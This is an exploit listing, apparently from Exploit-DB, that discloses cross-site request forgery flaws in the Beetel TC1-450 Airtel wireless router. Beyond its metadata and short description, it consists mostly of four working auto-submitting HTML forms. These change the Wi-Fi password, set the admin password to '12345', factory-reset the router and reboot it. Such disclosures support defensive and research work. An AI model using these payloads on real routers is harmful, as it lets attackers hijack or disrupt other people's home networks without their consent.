Beetel TC1-450 Airtel Wireless Router - Multiple CSRF Vulnerabilities

vendor:

TC1-450 Airtel Wireless Router

by:

SaMaN

5.5

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: TC1-450 Airtel Wireless Router

Affected Version From: TM4-0Q-020

Affected Version To: Not specified

Patch Exists: NO

Related CWE:

CPE: h:beetel:tc1-450

Metasploit:

Other Scripts:

Platforms Tested: Not specified

2013

Beetel TC1-450 Airtel Wireless Router – Multiple CSRF Vulnerabilities

Attacker can easily change Wireless password, Reboot Router, Reset Router, Change Router's Admin Password by simply making the user visit a CSRF link.

Mitigation:

Upgrade to latest firmware version/ move to Beetle 450-TC2

Source

Exploit-DB raw data:

# Exploit Title: Beetel TC1-450 Airtel Wireless Router - Multiple CSRF Vulnerabilities
# Date: 12/13/2013
# Author: SaMaN( @samanL33T )
# Vendor Homepage:http://www.beetel.in/node/10139
# Category: Hardware/Wireless Router
# Firmware Version: TM4-0Q-020 and below
# Tested on: Beetel 450-TC1 Wireless Router
# Patch/ Fix: Upgrade to latest firmware version/ move to Beetle 450-TC2
---------------------------------------------------
 
Technical Details
~~~~~~~~~~~~~~~~~~
Beetel 450-TC1 Wireless Router has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router, Reset Router,Change Router's Admin Password by simply making the user visit a CSRF link.

Exploit Code 
~~~~~~~~~~~~~

Change Wifi (WPA2/PSK) password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[VICTIM_IP]/Forms/home_wlan_1"
method="POST" name="form">
<input type="hidden" name="wlanWEBFlag" value="0">
<input type="hidden" name="wlan_APenable" value="1">
<input type="hidden" name="Countries_Channels" value="[Any Country]">
<input type="hidden" name="Channel_ID" value="00000000">
<input type="hidden" name="AdvWlan_slPower" value="High">
<input type="hidden" name="BeaconInterval" value="100">
<input type="hidden" name="RTSThreshold" value="2347">
<input type="hidden" name="FragmentThreshold" value="2346">
<input type="hidden" name="DTIM" value="1">
<input type="hidden" name="WirelessMode" value="802.11b+g">
<input type="hidden" name="WLSSIDIndex" value="1">
<input type="hidden" name="ESSID_HIDE_Selection" value="0">
<input type="hidden" name="ESSID" value="[SSID of WLAN]">
<input type="hidden" name="WEP_Selection" value="WPA2-PSK">
<input type="hidden" name="wlanWEPFlag" value="0">
<input type="hidden" name="wlanGEMTEKFlag" value="0">
<input type="hidden" name="wlanGEMTEKCMDFlag" value="0">
<input type="hidden" name="wlanGEMTEKDeactiveAPFlag" value="0">
<input type="hidden" name="wlanRadiusWEPFlag" value="0">
<input type="hidden" name="TKIP_Selection" value="AES">
<input type="hidden" name="PreSharedKey" value="[WIFI PASSWORD]">
<input type="hidden" name="WPARekeyInter" value="0">
<input type="hidden" name="WDSMode_Selection" value="0">
<input type="hidden" name="WDSEncryType_Selection" value="TKIP">
<input type="hidden" name="WDSKey" value="">
<input type="hidden" name="WDSPeer_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WDSPeer_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WDSPeer_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WDSPeer_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLAN_FltActive" value="0">
<input type="hidden" name="WLAN_FltAction" value="00000000">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="WLANFLT_MAC" value="00:00:00:00:00:00">
<input type="hidden" name="CountryChange" value="0">
</form>
</body>
</html>


Factory Reset Router Settings by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[VICTIM_IP]/Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="1">
<input type="hidden" name="Restart" value="RESTART">
</form>
</body>
</html>


Change Router's Admin Password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[VICTIM_IP]/Forms/tools_admin_1"
method="POST" name="form">
<input type="hidden" name="uiViewTools_Password" value="12345">
<input type="hidden" name="uiViewTools_PasswordConfirm" value="12345">
</form>
</body>
</html>


Restart Router by CSRF
~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[VICTIM_IP]/Forms/tools_system_1"
method="POST" name="form">
<input type="hidden" name="restoreFlag" value="0">
<input type="hidden" name="Restart" value="RESTART">
</form>
</body>
</html>


--
SaMaN
twitter : @samanL33T <https://twitter.com/samanL33T>